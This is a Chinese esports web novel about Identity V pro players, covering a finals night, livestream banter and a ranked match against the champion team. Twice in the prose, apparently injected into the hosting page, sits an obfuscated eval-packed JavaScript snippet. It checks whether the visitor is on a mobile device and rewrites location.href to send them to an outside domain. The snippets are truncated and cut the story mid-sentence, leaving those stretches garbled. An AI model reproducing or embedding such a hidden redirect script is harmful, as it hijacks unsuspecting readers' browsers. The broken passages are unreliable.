《计划有变，准备夺冠［电竞］》 1. KS夺冠 7月20日晚上9点半，杭城奥体中心下了场毛毛细雨。 “让我们——恭喜KS战队夺得本次IVL夏季赛总决赛冠军！” “十年寒霜磨一日，卧薪尝胆不曾意，卷土重来把君试，除我谁有桂冠事！恭喜KS！” 总决赛现场的摄像头在金雨中拉高，拍摄着冲上台抱在一起的KS成员和乌泱泱的观众，官方直播间的热度在这一刻达到了惊人的九亿，QR粉落魄沉寂，KS粉狂欢不已，热烈的呼声一浪高过一浪，都在为冠军的诞生献上掌声。 就在刚刚，在这里举办的第五人格IdentityVLeague职业联赛（简称：IVL）夏季赛圆满结束，奥体中心外人山人海，夜色里，人群中高举着的无数电竞战队KS与QR灯光牌闪闪发光，现场的保安竭尽全力在维持秩序，场内场外都拥挤得难以控制。 与此同时，离奥体中心23km外的杭城ETC电子竞技俱乐部基地灯火通明。 “牛逼牛逼，打得好，他还是那么爱念诗。” 借总决赛的光，平时开播都达不到亿热度的直播间终于争了口气，看着满屏幕的【KS牛逼！伪神牛逼！】，林屿摘下耳机深出一口气。 几秒钟后，直播间里响起不轻不重的咔的一声。 察觉到少儿不宜的气息，十几条显眼的弹幕从各色各样的KS战队标志中杀出了重围。 【我们小夜明文化人怎么你了。】 【又在点蚊香。】 【为什么不怼柒月怼夜明，铁暗恋。】 “哪来的山顶洞人，还爱不爱的，都二十一世纪了，不会还有人不知道主播和夜明已经有个儿子了吧？” 【谁啊？】 【真假，方便透露一下谁在上吗？】 林屿吹了口烟。 “刚才那个叫‘园园有丁丁’的水友，你爹叫你。” 【哈哈哈哈哈哈哈。】 【恶意鞭尸，举报了。】 【宇宙毁灭了主播的嘴都还在。】 声音开得有点大，那股地动山摇的劲连带着屏幕都在震动，高亢而激昂的音乐里，林屿放下烟，随便点开一条不断刷屏的教练群里的语音。 “虚伪！虚伪！虚伪！”KS主屠的名字在一片混乱的现场呈排山倒海之势。 作为国内首个1v4非公平电子竞技联赛，IVL是每年获取通往深渊全球赛（COA）门票的重要途径，KS和QR冠亚军受直邀保送深渊，已经不需要参加小组赛了。 D5对局中双方共用一张地图，一名屠夫和四名人类，人类需修完电机并开启大门逃出庄园，而屠夫的目标则是砍倒人类，一个接一个挂在上直至全部杀光。 四名人类要修五台电机，每人挨屠夫两刀就会倒地，而屠夫出刀命中后需要擦刀，几秒内不能移动，游戏以人类成功逃离的人数计算比分，常规赛BO3，决赛打BO5积分赛。 一支D5的职业战队是由人类队伍和屠夫组成的，比赛时由一支战队的屠夫对战另一只战队的人队，双循环积分赛轮换。 而主屠顾名思义，就是战队中的首发屠夫。 虚伪是上个赛季被KS开到的金光新人，KS一老牌名门战队，从未职业化时期起打到现在，屠夫选手接连退役，人队走的走散的散，早没几个娘家人了。 上赛季刚开赛时，KS甚至连人队四个都没凑齐，让坐了两年饮水机的求生替补转屠补上，这才以惨烈的战绩拖进季后，后来临时招人，赶在季后赛前的最后一天签到了虚伪。 没想到，短短半年不到的时间，这个名字就出现在了FMVP的荧幕上。 林屿吐一口雾，还没来得及眼馋别人家的主屠，就听撕心裂肺的一嗓子从楼上传来。 “双倒了桃木，你在干什么，怀表不摇等你死了摇吗？！” 电脑桌前，一个戴着头戴式耳机的男生一拳把桌面锤得抖了三抖，崩溃至极的语气里透着几分逆天。 弹幕最爱看主播破防，纷纷活跃起来。 【砍瓜切菜，QR人队道心破碎了。】 【这一刻比起手伤，我更担心主播的嗓子。】 【第五人格特有的尖叫式解说。】 这男生右眼底下有一枚淡淡的小痣，头发略长了没修，他深呼吸坐下来，缓解了些精神创伤，嫌碎发扎眼，仰在椅上抬手撩了一把，露出一双盛满无语的好看眼睛。 “什么叫跑一个，弹幕不会算分吗，大小局占优，这把多抓结束了。” 【QR尽力局。】 【［打call］虚伪，监管中的监管，魔神中的屠皇［打call］】 【七七要掉小珍珠了，主播快去接车。】 游言今天喉咙都喊干了，开了罐冰冻咖啡，在电竞椅上换个舒服点的姿势，这才继续冷笑道：“还接车，哪凉快呆哪去，以后别出去说是在我手底下练的溜鬼，丢人。” 四台机挂飞一个，救人位还在地上跪着，这局后面都是虚伪捡垃圾，QR人队的慢性死亡。 ETC俱乐部的人队大爹末鱼，真名余简生支着一腿躺在沙发上，顶着39度高烧的联赛T0指挥位看不了一点这种局，痛苦地合眼挥了挥手。 “不行，我头疼，睡了。” 林屿的电脑上，KS战队的成员正在金雨中合力捧起属于他们的奖杯，而由于直播无法避免的有延迟，这至少已经是一分钟前的内容了。 在现场的KS教练几分钟前就私聊给林屿剧透了，KS夺冠是意料之中。 不过，看起来少说延迟了三分钟的他家主屠，对被虚伪打爆的QR人队的表现并不是很满意。 粉丝全跑到林屿这来告状，听到游言直播间有余简生的声音。 他叼着烟，冲楼上喊了一声：“狗子，鱼怎么在看比赛，不是说了让他好好养病吗？” 没反应，狗东西挺会装死。 林屿二话不说，直接打了个电话给他。 【剩两个人，开始折磨。】 【狗哥在西伯利亚吗，金雨都淋完了怎么还在看残局？】 【慢慢慢，我是急急国王。】 接二连三冒出的【电话】【山与电话】取代了先前的弹幕，很快把游言的电脑屏幕挤得满满当当。 游言摘下半边耳机扫一眼，看见屏幕上的“山里鱼”备注，冷讽一句“主播直播间怎么有传话太监”，捏着嗓子接通就开始夹。 “喂？外卖小哥哥吗，放楼下就行了，我等会下去拿，辛苦了爱你～～” 嘟的一声，通话就被挂断了。 弹幕疯狂刷起了问号。 【什么b动静，第二人格触发了是吧？】 【开什么玩笑要吐了。】 【设了，冲得最艰难的一次。】 林屿早习惯了他的尿性，嫌弃地看了看屏幕，刚好这时手机一抖，之前挑的几个青训生名单发过来了，马上进入上班模式，说了句“比赛看完了，下了。” 就关掉了直播。 今天夏季赛决赛，ETC两个人队选手，贺颜和北秋去现场了，刚打电话回来说给鱼买了退烧药和喷雾剂，现在林屿再一关直播，在线的就只剩卡顿抽疯还在最后半场的游言。 两个直播间都蹲着的观众全挤到游言这里，他和身为教练的林屿不一样，选手直播间热度一直很高，人数在指数级增长。 游言没开摄像头，看了一眼沙发上挡住脸的余简生，把空调温度调高了点，才一会儿没吭声，满屏幕就在刷【小狗说话】【求求了，主播别死［哭］［哭］】。 他重新戴上耳机，声音放小了一些：“别叫，鱼睡着了。” 【山与下播了，是不是接新人？】 【怎么还没结束，我要看伪神超绝MVP结算。】 【末鱼这状况深渊赛能打吗，感觉没他人队根本支楞不起来。】 “身体更重要，”游言说，“咱们不缺这个冠军。” 他这话说得挺狂，但让人无法反驳。 D5能拿的荣誉ETC基本拿了个遍，游言之前的两届主屠曾经都代表着一个时代，他们队一直是屠强人弱，好不容易盼来个末鱼，却又是个整天请假去医院的病秧子。 这个情况下肯定优先照顾余简生，都不说是为了夺冠，就算只是为了队友，再打个两三年都没关系。 【这是团体赛，又不靠末鱼一个人。】 【类人经理走了，人队替补终于要来了吗？】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923433|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【得了吧末鱼也是个cjb。】 cjb最早是英雄联盟职业选手之间流传出来的，“超级棒”的首写字母缩写，实际嘲讽人“吹几把”的意思。 【什么鬼，能不能好好看直播。】 【他只用指挥就行，而我们狗哥四杀要考虑的就很多了。】 【选手肺病反复，喷子嘴上留点德。】 游言的厥词激起不少人不屑，有人骂末鱼名不副实只靠吹嘘，鱼龙混杂的弹幕维护了几句，黑子不甘示弱迎头抗辩，双方光速撕了起来。 【德个屁退役吧，菜成那样还不让骂，运营得跟六阶排位似的，不知道谁在吹。】 【能不能别老把锅甩在末鱼身上，四黑人队跟在打路人局一样，配合一点没有就算了，杂技一溜二十秒，贺颜是个人啊？】 【关我们贺少什么事，末鱼是你爹，这么急着洗？】 直播间风气一下子急转直下，游言皱眉点开弹幕助手，看到里面涌现出好几家战队的粉丝。 【服了，搞分裂的能不能滚出去。】 【笑死，说得好像合一起不是一坨一样。】 【QR狗别叫，知道你们今天输了比赛不服气，拉踩别人有意思吗？】 【牛的牛的，说句实话就成QR狗了，希望你对自己的阳寿也能这么随便。】 “吵毛，本直播间只谈技术，爱看看不看滚。” 游言动动手指，直接赏了带节奏的几个ID三十天禁言大礼包。 首发成员大换血，深渊赛又马上来了，ETC现在的问题着实不少，末鱼身体不好，状态下滑是有目共睹的。 林屿再三叮嘱他请假期间不准看论坛和微博，为的就是避免被这些言论刺激到心态。 【急了急了，0：2被一轮游的不是你们？】 【薛定谔的技术。】 【抱着你亲爹队长回家种田去吧，菜逼还来打职业。】 【建议原地解散，在比赛上看见你们就恶心。】 不知道是不是决赛刚完，各家战队粉丝无处安放，房管刚封完，又跳出来几个diss游言队友的。 游言在飞速滚动的【你有病啊】【谁家狗没栓链子】等弹幕里精准找到了他，反手就是一个禁言加举报。 “你爹当初没四杀差的就是你母。” 【爽了。】 【你狗哥的攻击性都敢惹，看IVL几年啊？】 【玩吊五的素质是这样的。】 【不会让这个b得逞了吧，难道主播真是在奖励他？】 制裁了脑残乳腺都通畅了。 游言切了后台的游戏客户端，点击取消匹配了三十多分钟的排位，然后又重新匹。 排位时间是中午十二点到两点，以及晚上六点到十点，现在还剩近半个小时，不知道能不能赶上末班车。 残局没看的必要了，刚切回来准备再复盘一遍录像，林屿就给他微信发了个消息。 【山与：这些是上次教练团选出来的青训生名单，还有几个人榜靠前的S牌辅助位，最高星数都有两百以上，截图我等会儿发你。】 【寐狼：行，叫他们加我好友。】 【山与：你好友位是不是满了，要不用鱼的号？】 【寐狼：鱼的号在贺颜那，现在不方便。】 人屠的段位从低到高，都分一到七阶。 由于双方阵营人数的不同，人类排位基本上是秒排，高阶会慢一点，但比起屠夫动辄四十分钟的车速来说要阳间太多。 职业队员平时都要训练，没多少精力去排位，更别说余简生在病中，段位太久没碰，被系统自动扣到了四阶。 贺颜真名程肖，最近在帮他冲人榜，说是段位再上去一点，鱼就自己打当作复健。 【山与：那我把教练号给你，这个号青训生都加了，就差那几个S牌。】 【寐狼：好，还有啥事么？】 微信的震动短暂停顿了一会儿，然后发了个表情包过来。 【山与［笑］：快看赛后FMVP采访。】 全是场面话有什么好看。 游言没懂，但还是听取了教练的意见，又点了两下刷新，进度条总算追上了官方赛后。 2. 为您寻找旗鼓相当的爹 一进去就看见老熟人，摄影师给D5的御用主持人荷青来了个完美的特写，然后镜头一划，转到了她身边的男生脸上。 铺满金光的场地上，江柏穿着印着KS战队logo的红白色队服，比游言上次看到的瘦了点，低头笑时露出的虎牙有些稚气，眼睛亮亮的看着荷青。 他身边一起接受采访的队友时艺眼观鼻鼻观心，嘴角比AK还难压。 游言想到原本自己也可能站在这台上，有点沉闷，边看边喝了口咖啡。 “什么死亡打光，把人家大美女拍成这样。” “好，接下来是观众的一些问题，今天第三场上半场队友被四杀进入赛点，面对5：0这样压倒性的比分，伪神顶住压力还了一个四杀，第三场双方比分打平，想问下棋棋，当时KS备战间是什么反应？” 荷青念完手上的题词卡，笑着看向一旁的时艺。 “嗯……” 时艺腼腆而憋笑地想了一会儿，缓慢转头看向江柏，“能当伪神的狗是我们的荣幸。” 荷青：“嗯对，很幸福是吗？” 时艺：“包汪汪叫的。” 荷青抿嘴莞尔，碍于职业操守没太嚣张，江柏拿着话筒的手背抵上了鼻梁，看着自家队友的笑眼里充斥着“有病”二字，看样子也很是难绷。 【伪神害羞可爱捏，想被老公一刀斩狠狠抽。】 【古希腊掌管四杀的神［阿门］。】 【荷青好美。】 【伪神知道狗哥在看吗？】 很明显，狗啃的网络虽然有所改善，但致命延迟还在，弹幕看到的采访比游言早一分多钟，蹲在这纯属想看主播对虚伪的夸夸。 有几个慕强批直接阔绰刷钱，大大的【伪神】像横幅一样在荧幕上飘过去，还带着五颜六色的烟花特效炸在末尾，满满都是金钱的铜臭味。 游言想都不想，鼠标右键更多屏蔽，动作熟练而流畅，面对各种【？】和【虚伪怎么你了】，杠得理直气壮。 “本直播间除我以外不许出现别的主播，明白吗？” 弹幕一下子炸开了锅。 【老板你看他——】 【快道歉。】 【主播是不是嫉妒伪神打得比你好，长得也比你帅。】 “我嫉妒他？” 游言专门针对最后一条发表了意见：“这位叫‘愚人金的大镐’的水友，认识主播不，出门左转，官方赛事微博打开，点击各战队监管者数据排行榜，看看第一名是谁。” 【一个赛季没打当然不会往下掉。】 【骗骗兄弟得了，别把自己也骗了。】 【为什么闭口不提帅的事，是自惭形愧了吗？】 游言：“尔等凡夫俗子，岂可想象主播的鹤发童颜，不想拿出来伤害丑比罢了…什么叫怪不得谈吐这么低龄，你特么别在排位遇到我。” 【最有文化的一集。】 【看看童颜。】 【看看低龄。】 弹幕就像在逗自己养在网上的赛博宠物一样，此起彼伏不亦乐乎，整个直播间充满了快活的空气。 游言嗤笑一声：“不刷礼物还想看，门都没有。” 而此时，赛后采访的主角转回到江柏身上，荷青看向他，笑着说：“作为今天KS获胜的最大功臣，伪神打得真的是非常好，两方人屠博弈相当精彩，尤其是安那一局假a骗飞轮，你怎么猜到小希带的是飞轮？” 飞轮是人类四个大天赋之一，对局前需从四个中选两个携带，可向前冲刺一段距离并抵挡一次任意伤害，前提是要用的时候按得出来。 江柏笑了笑：“没有，我不小心按到了出刀。” 荷青：“嗯嗯，按错了是吧，那请问当时看见小希交了飞轮，你心里什么感受？” 江柏：“目压飞轮，很秀。” 【好能装，伪神白切黑。】 【果然打屠的都一百八十个心眼子。】 【太谦虚了。】 游言想起那一局QR人队的悲壮，拎着咖啡罐评价道：“不算谦虚，当时QR必须争多跑才导致的三杀，他那安玩得，全程跟爱丽丝梦游仙境一样，东逛逛西逛逛，抓谁都行你抓啊倒是。” 【主播还在黑，别太爱了。】 【来自世一安的鄙视[牛][啤酒]。】 【前方核能，有蛀牙糖尿病的速速闪避。】 只有寥寥几个弹幕在听主播的分析，其余都在刷什么激动人心的时刻，游言瞄一眼，又被荷青的声音吸引回采访。 荷青笑得眉眼弯弯：“是的，今天我们KS和QR战队状态都拉满了，也是给观众带来了一场跌宕起伏的决赛，KS战队从不被人看好到一路杀进总决赛拿下冠军，途中的艰辛大家都是有目共睹，那么作为可敬的对手，在交战过的战队中，想问一下伪神最喜欢我们联赛哪位求生者？” 江柏想了想，笑着说：“IL战队的安华，每次崩盘都是追他。” 荷青：“那监管者呢？” 问到这个，江柏停顿了一会儿，随后转眼看向了摄像头的方向，刚好有一瞬间和游言对视。 “ETC战队的寐狼，”他顿了顿，很真诚地看向荷青，“感觉他很厉害。” 屏幕外说人坏话突然被提的游言：“？” 这反应和说安华的时候大相径庭，荷青心领神会地笑了下，不怎么意外。 她从联赛最开始当主持到现在，游言早期迷弟就特多，狗子周边都卖了好几轮，虽说统治力现在下降了一点，但底蕴还是在的。 “原来伪神也是狗哥粉丝，可惜这次狗哥没能进入线下，不然还能切磋一下。” 江柏笑道：“没关系，总有机会。” 直播间里的弹幕热闹非凡，刷得游言电脑都有些卡顿。 【被抓包力——】 【这就是我们IVL魅魔的人脉。】 【谁会不喜欢世一屠。】 【伪神底牌切金身秒了主播所有诋毁。】 【黑子说话！】 游言手指敲在键盘上，半晌才出声：“怎么，理性分析就成黑子了，哪句话说错了你拎出来我看？” 【再让伪神打几赛季，主播的地位就要不保了。】 【狗哥能不能开下摄像头，我帮伪神集个邮。】 “无聊，还以为有战术分享，就这，下了。” 游言干完咖啡，看排位还没排到，无视掉观众反对就把电脑关了。 他本来就不是在跟他们商量，算算时间程肖他们该回来了，套了件衣服就下楼了。 游言在训练室待到凌晨三点，和林屿找来的几个人不断单练，所有人最好成绩都没超过四十秒。 他让他们都休息去，把对局的数据整理了一下发给林屿，林屿秒回了他，说找时间再把剩下的几个人试了，今天先这样。 游言坐在椅子上揉揉手腕，一句“收到”飞了过去。 坐在他身边的眼镜男生听见震动，目光落在正在对局的手机上，眼皮没抬问了一句：“林教是不是让你下班？” 这人是队里的ob位，北秋，真名陆明悦，今年19岁，刚成年就进队伍了，样貌有点冷淡，和本人的性格一样。 游言装模作样嗯一声，手没闲着，退出自定义，用自己的号开了一把匹配。 他是队伍里分段最高的，排个位跟取经一样，一个小时打不了一把，ETC人队首发没补齐不好训练，除了约练，平时玩就打打匹配。 陆明悦经常帮游言和余简生这两逼人打掩护，撒起谎来是得心应手，两相对比之下倒是更关心自己未来队友，随口问了一句：“那些人怎么样？” “不行，单练不过关，更别提配合运营了，” 连匹配都要等二十多分钟，游言转着椅子伸了个懒腰，这才继续开口：“S牌容易混，现在不好挑了，既要能稳定救人，开局被追也得不秒倒，再看看吧。” 一个队伍不能有重复的定位，陆明悦和程肖已经把牵制和OB（Observer观察者，即辅助）占了，余简生是全能高手，让他打救人就是在屈才，会拉低下限，ETC很缺一个能保持优势的救人或者辅助位，基本功是很重要的。 陆明悦说：“有没有一种可能，你的四十秒顶别人 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“哎，都记不得上次和队长一起训练是什么时候了，我还在帮他上星，一上一个不吱声。” 程肖这两天冲人榜冲得快吐了，排位上净遇到些小可爱，七阶了不会卡半，活生生把胜局送成平的。 他用余简生的号开了局屠夫，把手机往沙发上一丢，撸起衬衫袖子坐下，三个人围在训练室的茶几边开动。 “你觉得难打就去找个双排，开麦又不违法，”游言看了一眼手机屏幕，挑眉道，“咋的，心情太好了，开把屠夫调节调节？” “那不行，不能坏了咱们鱼哥单排王者的名声，不就是点胜率吗，掉，掉得起。” 程肖从冰箱里拿了杯橙汁出来，还没喝，就听手机嗡的一声，匹到人了。 “这么快？” 虽说程肖专精人类，但屠夫有时也玩，段位陆陆续续打到了五阶一，高阶屠的匹配，三十秒内排到确实少见。 他点了准备进入选角，赛前对面一个熟悉的ID映入眼帘。 【球上有史［牛仔］：菜，练。】 程肖一愣，还以为看错了。 “流言？他怎么不训练来打匹配？” 流言是KS的人队首发OB位，前锋榜上常年的认知分第一，如果真是他，他们队昨天才拿了冠军，现在又在玩最爱的第五人格。 以防是高仿，程肖还特意切好友看了看，余简生有流言的好友位，状态一栏是组队，且游戏中。 回来一看，剩下三个人也跟在牛仔后面复读。 【一只橘猫［勘探员］：菜，练。】 【看我五米钢筋［画家］：菜，练。】 【你古盖世刀气［先知］：菜，练。】 五阶局匹到冠军首发职业，这听起来挺天方夜谭的。 游言听到这个名字，投来目光：“怎么个事？” 陆明悦也停下了干饭，抬起头来。 程肖看了看他们俩，指着屏幕说：“不知道是不是队友上他号，KS的流言，被我匹到了，怎么办？” 陆明悦和游言对视一眼，不约而同地说：“打呗。” 程肖表情诧异，好像他俩是要让他去死。 游言：“你打不过他，还揍不了他队友吗？” 这是四个人的游戏，队里就一个职业，还只是打着玩，经典换人追就秒倒，他可太懂什么叫看ID杀人了。 他这么一说，程肖想了想也是，而且他确实有点跃跃欲试，想知道自己屠夫是什么水平。 时间还剩最后十秒，对方四人天赋与角色都已锁定，轮到程肖选角了。 他拿了自己熟练度最高的渔女，底牌一刀带闪，双方进入地图湖景村。 屠夫和人类一样要天赋四选二,一刀斩可以在大门通电后的120秒内，一刀击倒原本两刀频率的满血人类，而底牌则能将闪现这样的辅助技能进行仅有一次的随意切换。 这天赋是万金油，大多数屠都爱带，程肖也不例外。 3. 寐狼毁了KS 手机屏幕对面，队里的先知开局报点，拖动视角开始拉距离：“我转去小船，流言准备跟我，棋棋和元虹分开，先修中场破三连。” 说话的是一个挑染了金发的年轻男生，长相阳光又贵气，陷在椅子里翘二郎腿，坐姿有些懒散。 他是KS人队首发职业选手毛球，联赛公认的三大指挥位之一。 这阵容想赢，摆明了能追的只有先知一个，对面屠夫只有五阶，但不代表人家是傻子。 语音里很快传来三声“行”“带飞轮的报闪现时间”“我起心跳了”。 KS基地里热闹了一天，昨天夺冠后去撸串，老板和经理都来了，疯到十二点才老实下来。 大家没心情睡觉，激动得要命，感觉这辈子都没这么爱第五人格，回来了也是窝在训练室复盘单练。 比赛回放看腻了，想打联合也过了时间，反正打完比赛放假，四个人就一起开匹配玩，拿的都是自己不怎么熟的角色。 元虹有心跳，顺手就在路上丢了块磁铁，原地来回来回晃，但渔女就是不靠近他，在找别人。 “先知呢，这么点时间，他不会跑大船去了吧？” 程肖找不到人，勘探员和牛仔就差在脸上跳舞了，他一点去抓的欲望都没有。 可能是因为晚上人少，游言很快也匹到了人，他边调天赋边说：“去小船找找。” 程肖：“我找了，没人。” 对面是速修阵容，匹配打歌剧没意思，游言选了个好久没玩的守夜人，只打前期不考虑开门战，天赋张狂封窗带上就杀。 “人家在躲你，往深处找。” 陆明悦刚才打的那一场完了，当作消遣来看程肖操作，越看表情越蹊跷，忍不住说：“你闪现留过年么？” 程肖有点红温：“交闪有什么用，我又拿不了下一刀，没击倒就没节奏。” “你怎么第一刀都没拿到，”陆明悦道，“还不带张狂，这么勇敢？” 屠夫主技能都是两刀开一阶，五刀开二阶，张狂这个天赋能帮屠夫慢慢开出技能，前期有些鸡肋，但对于不开阶就很难拿刀的角色几乎是必带的。 基本功菜成这样都敢空枪上阵，陆明悦不得不佩服他的自信。 谈笑间，渔女又空了一刀，被一个磁铁劈头弹飞，程肖眼睁睁看着他在面前做动作抽搐，什么都干不了，血压蹭蹭蹭飙升。 “这下你总…啊，飞轮！” 元虹带了三巨力，这个板子给渔女头都要砸烂了，他在板后比飞吻，用以安抚对面受伤的心灵，笑着说：“好可怜的屠夫，你们快修机。” 毛球：“在修了，流言你干嘛。” 流言：“我要钩机子的，你别挡住我。” 棋棋：“屠夫在哪儿，我去看一眼好画画。” 江柏坐在机位前撑着头，脖上挂着KS和队服配套的主白夹红色耳机，姿势稍显随意。 他拇指在手机上滑动，停留在微博首页一个视频的上方。 那是个带弹幕的切片，标题是【狗哥超绝OB伪神当众表白】。 “要吃刀了…你这什么鸟！” “套个鸟修机心里踏实。” “别玩了快去修，我和毛球两个人修五台？” 江柏自己玩屠，遇到这种情况就很痛苦，但如果看别人玩，那感受就不一样了。 他听到动静，忍不住侧过头，笑道：“你们干嘛欺负人家。” “哪有，是他自己要往爸爸的大磁铁上撞。”元虹说。 “啊——我不玩了，给你玩！” 再一次打到飞轮上，程肖气冲冲把手机摔给游言，从他手里夺走了属于守夜人三趴的爽局。 游言：“……” 令人身心愉悦的挂人模拟器就这么没了。 他接手过来一看，场上还剩三台机，勘探员半血，其余的状态都没掉，而自己这边，除了闪现之外全在CD。 这个局势，扫一眼就知道是表面三台，实际上只剩一台半左右了。 没办法，只能先拿他开刀了。 游言手指连点，只听闪现清响，开局到现在才开阶的当当声紧随而至，刚还活蹦乱跳的勘探员翻窗过劳，跪在了地上。 “他交闪了，开门战没技能。”元虹被屠夫提起来，边说边挣扎。 毛球：“棋棋去救人，流言压机我开门。” 程肖现在挂机都能赢，一直关注着这边，挂了两个人之后又提溜个脑袋凑了过来：“现在交闪？” 游言：“早用早CD。” 他凝神的时候仿佛变了个人，漆黑的眼里倒映着锐气的亮光，连带着眼下那颗痣的颜色都仿佛深了不少。 程肖被气氛影响，不自觉屏息凝神。 抛叉出去丢了个圈，场上所有人位置游言都知道，没守椅，冲着毛球的方向直奔而去。 到了大船附近，耳鸣却没有亮起，只看到远景海边有人影一闪而过，他们没有急着修机，先拉开点位，绕过他救人去了。 “我一走所有人都知道了，多半是四黑，” 能和流言账号四排的人是谁不言而喻，游言兴致攀高，笑里带了些胜负欲：“KS人队今晚上不会在团建吧？” 棋棋还没到椅子边，水汽突然一下涨到了七八十，他没带飞轮，赶紧先画画，报点说：“我救不了了，他围了个大圈刚刚收叉。” 毛球还在赶去最后一台机的路上，指挥道：“你别过去，让流言救。” 流言的声音透着几分紧促：“不行，他身位压得我很不舒服，卡在中场，我们两谁救谁就吃刀，然后爆水汽倒地。” 毛球皱了皱眉，这压迫和控场，和先前完全不一样。 怎么回事，对面换人了？ 程肖和陆明悦听说是KS四黑，仿佛是提前和KS打小组赛，都围过来看游言表演。 他抓着游言胳膊暗暗使劲：“这个人挂飞，救不了了。” 控场拉扯把技能拖出来了，闪现剩几十秒CD，还好这局带了底牌，不然游言都不知道怎么平。 “这阵容不带金身你杀谁，把自己绑椅子上得了。”他冲程肖翻了个白眼。 程肖诺诺地说：“我以为只要杀得快就好了。” 两人几句话来往之间，游言已经追倒了没道具的牛仔，二阶渔女的守椅不是盖的，压好了机同样难搞。 “保平吧，画家去救人。”毛球说。 本来是赢的局，但凡多一只鸟。 江柏刷着手机，听到笑声渐渐消失，扫去一眼，队友的表情个个都专注亢奋，元虹更是不断切屏报点，已经在天上观战了。 他不由挑了挑眉，什么屠夫这么猛？ 他们当对方是巅峰七阶来炸鱼的，二阶技能的渔女不可避免地要吃两刀，压好了机还有画，只要救下来就能跑两个平局。 毛球下了指挥，棋棋按部就班执行。 流言莫名感到不对：“你快靠过来，别被打出去。” 他说晚了，游言一刀打完水汽炸死，毛球开机，等棋棋再冲过来，渔女已经擦完了刀。 “快走我交画。” 棋棋想当然地交道具，在同一瞬间听见江柏和毛球两个人的喝止。 “别交！” 游言等的就是这一刻，一刀a死流言，底牌切金身看画解擦一气呵成，棋棋也没跑掉，“铮”的一声倒在渔女刀下。 程肖：“狗哥帅！” 金身本是解除硬控的，但擦刀时间内被控直接金身就能恢复正常状态，游言一秒钟按五个键，相当于连打两人没擦刀，给程肖看得爽到飞升了。 “喜欢笑？” 游言滑动屏幕把两个人都挂了，毛球压机门没人点，只要他想，一个都跑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“前期刀都拿不到，后期守人守机两手抓，是个没瞎的都看得出换人了。”陆明悦嗤之以鼻。 程肖狐假虎威给他们四人回赞，得意道：“咋，不服气？我不是凭本事进的ETC，凭本事吃世一屠的软饭？别人想花钱请代打都没这门路，换个人你看狗哥叼不叼他。” 陆明悦冲他比了个漂亮的中指，继续干饭。 “这么没弹性，看样子虚伪给他们的压力还是不够啊。” 游言刚拿下一局，整个人又开始蓬松上嘴脸，枕着双臂神情餍足地转椅，陆明悦毫不怀疑若是他有小狼尾巴，现在早就翘到天上去了。 虽说如无意外情况，队内训练一般都是和自家屠夫打，KS人队这把后期才发力，浪死了什么的都是小问题，只不过道具消耗得太多，被游言一个底牌抓住机会扩大优势了。 但平心而论—— “这干人家虚伪什么事？你老针对他干什么。” 陆明悦的目光上下扫了他一会儿，突然说：“担心被超？” 游言：“放屁，他场均数据哪一样有我高？” 陆明悦：“说不定很快就有了。” 游言的脸臭了几秒，瞪他一眼不吭声了。 陆明悦鲜少乐得这么明显，除非真的忍不住了。 他挑眉看了眼程肖，冲游言扬扬下巴：“虚伪采访你看完没。” 游言：“没，都是废话。” 陆明悦：“当时荷青替观众问他有女朋友没，人家一句话，都快成整体职业的榜样了。” “怪了，他有没有女朋友关我什么事。”游言不以为然。 程肖盯着他：“虚伪说他永远爱第五人格。” 游言：“……” 4. 电所有人微博 余简生一觉睡到了翌日下午四点，雨后淡金色的辉光从云彩层叠的缝隙里洒进窗户，照到了桌上和鼠标靠在一起的，贴着备忘录的喷雾剂瓶身上。 阿姨早就熟悉了他们的阴间作息时间，十分钟之内给他做了份早餐送上去。 他顶着未退的潮热迷迷糊糊地吃饭，飞快浏览完微信昨晚冠军之夜99+的消息，打开微博清消息，目光微凝，停在了“@我的”一栏同样99+的红点上。 评论下面已有上百条粉丝的回复，一秒内就能刷出三四个新消息。 【难怪鱼哥不上训练赛，感情山与给咱们憋了个大的。】 【好家伙藏东西呢，ETC深渊赛是不是要搞科研了？】 【山与昨晚上老早就下播了，拍了两张机场的照片，我都不敢想，咱们小等等也有买得起两个新人的一天了。】 【胆小鬼，我就敢想，老板说了换完经理就要氪金，说不定连替补副屠都提上日程了。】 评论区一连串的喜大普奔，全是容光焕发第二春的新气象，搞得余简生莫名其妙，不知道的还以为昨天夺冠的不是KS而是ETC。 他滑动屏幕，翻了好一会儿的楼层，才从三四个评论区里面的@传送到挑起浪潮的始作俑者那。 博主头像是一个毛茸茸的，微笑表情的金黄软球。 【KS.Hairball：走了鱼哥的地窖，小鱼儿人美心善［哭］［哭］［图片］】 看见三千多条评论的当天热门，余简生眉头一跳，直觉没好事。 果然。 毛球配的图是三杀的渔女赛后结算，获得了上万的浏览量，下面还有四个人整齐划一的复读—— 【KS.Rainbow：嫉妒了［哭］】 【KS.Chess:姬度了［哭］】 【KS.Gossip：鸡肚了［哭］】 【KS.False：寄读了［哭］】 每个人的点赞都有两千以上，加上粉丝们的逮捕评论，楼中楼盖了四五十层，让四个本队队友的身影稳稳占据热评前四。 看到最后一条评论，余简生忍不住一呛，本就不好的喉咙雪上加霜，掩鼻咳时苍白的脸都微微泛红。 前三个还好，明显是人队队员跟着队长在犯贱，虚伪一个屠夫又没参战，跑这来凑什么热闹？ 众所周知，人类想逃脱，除了开大门外还可以走地窖，不过要在至少开完两台机，其余所有队友全部死亡或出门的条件下，地窖才会开启。 一般来说，如果到了得考虑地窖的情况下，那基本上就是屠方的碾压之势了。 刚夺冠，KS成员的关注度都很高，尤其还是炸鱼冠军人队的开门战地窖局，一经发出，底下全是在装模作样跟着捧场的粉丝。 